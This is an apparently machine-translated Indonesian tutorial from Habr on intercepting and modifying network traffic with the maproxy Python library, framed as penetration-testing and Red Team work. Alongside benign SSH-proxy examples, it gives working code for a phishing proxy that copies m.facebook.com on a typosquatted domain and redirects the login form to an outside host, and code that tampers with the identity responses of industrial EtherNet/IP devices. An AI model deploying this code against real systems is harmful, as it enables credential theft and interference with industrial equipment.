Memproses data jaringan dengan cepat

Terjemahan artikel disiapkan pada malam dimulainya kursus “Tes Pen. Praktek pengujian penetrasi".

Memproses data jaringan dengan cepat

Anotasi

Berbagai jenis penilaian keamanan, mulai dari pengujian penetrasi reguler dan operasi Tim Merah hingga peretasan perangkat IoT/ICS dan SCADA, melibatkan penggunaan protokol jaringan biner, yang pada dasarnya mencegat dan memodifikasi data jaringan antara klien dan target. Mengendus lalu lintas jaringan bukanlah tugas yang sulit karena kita memiliki alat seperti Wireshark, Tcpdump atau Scapy, namun modifikasi tampaknya menjadi tugas yang lebih memakan waktu karena kita memerlukan semacam antarmuka untuk membaca data jaringan, memfilternya, mengubahnya. dengan cepat dan mengirimkannya kembali ke host target hampir secara real-time. Selain itu, akan ideal jika alat tersebut dapat bekerja secara otomatis dengan beberapa koneksi paralel dan dapat disesuaikan menggunakan skrip.

Suatu hari saya menemukan sebuah alat bernama maproxy, dokumentasi dengan cepat memperjelas hal itu kepada saya maproxy – hanya yang saya butuhkan. Ini adalah proxy TCP yang cukup sederhana, serbaguna dan mudah dikonfigurasi. Saya menguji alat ini pada beberapa aplikasi yang cukup kompleks, termasuk perangkat ICS (yang menghasilkan banyak paket) untuk melihat apakah alat ini dapat menangani banyak koneksi paralel, dan alat tersebut bekerja dengan baik.

Artikel ini akan memperkenalkan Anda pada pemrosesan data jaringan dengan cepat menggunakan maproxy.

Tinjau

Alat maproxy didasarkan pada Tornado, kerangka jaringan asinkron yang populer dan matang dengan Python.

Secara umum, dapat beroperasi dalam beberapa mode:

  • TCP:TCP – koneksi TCP tidak terenkripsi;
  • TCP:SSL и SSL:TCP – dengan enkripsi satu arah;
  • SSL:SSL – enkripsi dua arah.

Itu datang sebagai perpustakaan. Untuk memulai dengan cepat, Anda dapat menggunakan file contoh yang mencerminkan file utama fungsi perpustakaan:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kasus 1 – proxy dua arah sederhana

Berdasarkan tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По умолчанию ProxyServer() membutuhkan dua argumen – lokasi koneksi dan port target. server.listen() membutuhkan satu argumen - port untuk mendengarkan koneksi masuk.

Menjalankan skrip:

# python tcp2tcp.py

Untuk menjalankan pengujian, kami akan terhubung ke server SSH lokal melalui skrip proxy kami, yang mendengarkan 2222/tcp port dan terhubung ke port standar 22/tcp Server SSH:

Memproses data jaringan dengan cepat

Spanduk selamat datang memberi tahu Anda bahwa contoh skrip kami telah berhasil mem-proxy lalu lintas jaringan.

Kasus 2 – modifikasi data

Skrip demo lainnya logging_proxy.py ideal untuk berinteraksi dengan data jaringan. Komentar dalam file menjelaskan metode kelas yang dapat Anda modifikasi untuk mencapai tujuan Anda:

Memproses data jaringan dengan cepat

Yang paling menarik ada di sini:

  • on_c2p_done_read – untuk mencegat data sepanjang perjalanan dari klien ke server;
  • on_p2s_done_read - terbalik.

Mari kita coba mengubah banner SSH yang dikembalikan server ke klien:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Jalankan skrip:

Memproses data jaringan dengan cepat

Seperti yang Anda lihat, klien disesatkan karena nama server SSH untuknya diubah menjadi «DumnySSH».

Memproses data jaringan dengan cepat

Kasus 3 – halaman web phishing sederhana

Ada banyak cara untuk menggunakan alat ini. Kali ini mari kita fokus pada sesuatu yang lebih praktis dari sisi operasional Tim Merah. Mari kita tiru halaman arahannya m.facebook.com dan menggunakan domain khusus dengan kesalahan ketik yang disengaja, misalnya, m.facebok.com. Untuk tujuan demonstrasi, anggap saja domain tersebut didaftarkan oleh kami.

Kami akan membuat koneksi jaringan tidak terenkripsi dengan proxy korban kami dan Aliran SSL ke server Facebook (31.13.81.36). Agar contoh ini berfungsi, kita perlu mengganti header host HTTP dan memasukkan nama host yang benar, dan kita juga akan menonaktifkan kompresi respons sehingga kita dapat mengakses konten dengan mudah. Pada akhirnya kami akan mengganti formulir HTML sehingga kredensial login dikirimkan kepada kami, bukan ke server Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/id/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Singkatnya:

Memproses data jaringan dengan cepat

Seperti yang Anda lihat, kami berhasil mengganti situs aslinya.

Kasus 4 – Porting Ethernet/IP

Saya telah cukup lama menangani perangkat dan perangkat lunak industri (ICS/SCADA), seperti pengontrol yang dapat diprogram (PLC), modul I/O, drive, relay, lingkungan pemrograman tangga, dan banyak lagi. Case ini diperuntukkan bagi mereka yang menyukai hal-hal industrial. Meretas solusi semacam itu melibatkan permainan aktif dengan protokol jaringan. Dalam contoh berikut, saya ingin menunjukkan bagaimana Anda dapat mengubah lalu lintas jaringan ICS/SCADA.

Untuk ini, Anda akan membutuhkan yang berikut:

  • Sniffer jaringan, misalnya Wireshark;
  • Ethernet/IP atau hanya perangkat SIP, Anda dapat menemukannya menggunakan layanan Shodan;
  • Skrip kami didasarkan pada maproxy.

Pertama, mari kita lihat seperti apa respons identifikasi khas dari CIP (Common Industrial Protocol):

Memproses data jaringan dengan cepat

Identifikasi perangkat dilakukan menggunakan protokol Ethernet/IP, yang merupakan versi penyempurnaan dari protokol Ethernet industri yang menggabungkan protokol kontrol seperti CIP. Kami akan mengubah nama ID yang disorot yang terlihat di tangkapan layar "NI-IndComm untuk Ethernet" menggunakan skrip proxy kami. Kita bisa menggunakan kembali skripnya logging_proxy.py dan juga memodifikasi metode kelas on_p2s_done_read, karena kami ingin nama identitas yang berbeda terlihat di klien.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Pada dasarnya, kami meminta identifikasi perangkat dua kali, respons kedua adalah respons asli, dan respons pertama langsung dimodifikasi.

Dan yang terakhir

Menurut saya maproxy Alat yang nyaman dan sederhana, yang juga ditulis dengan Python, jadi saya yakin Anda juga bisa mendapatkan keuntungan dari menggunakannya. Tentu saja, ada alat yang lebih kompleks untuk memproses dan memodifikasi data jaringan, tetapi alat tersebut juga memerlukan perhatian lebih dan biasanya dibuat untuk kasus penggunaan tertentu, misalnya. murena, Modlishka или kejahatanginx untuk kasus yang mirip dengan yang ketiga, atau canape untuk kasus terakhir. Dengan satu atau lain cara, dengan bantuan maproxy Anda dapat dengan cepat menerapkan ide Anda untuk mencegat data jaringan, karena contoh skripnya sangat jelas.

Menguji mekanisme otentikasi di Windows AD

Sumber: www.habr.com

Tambah komentar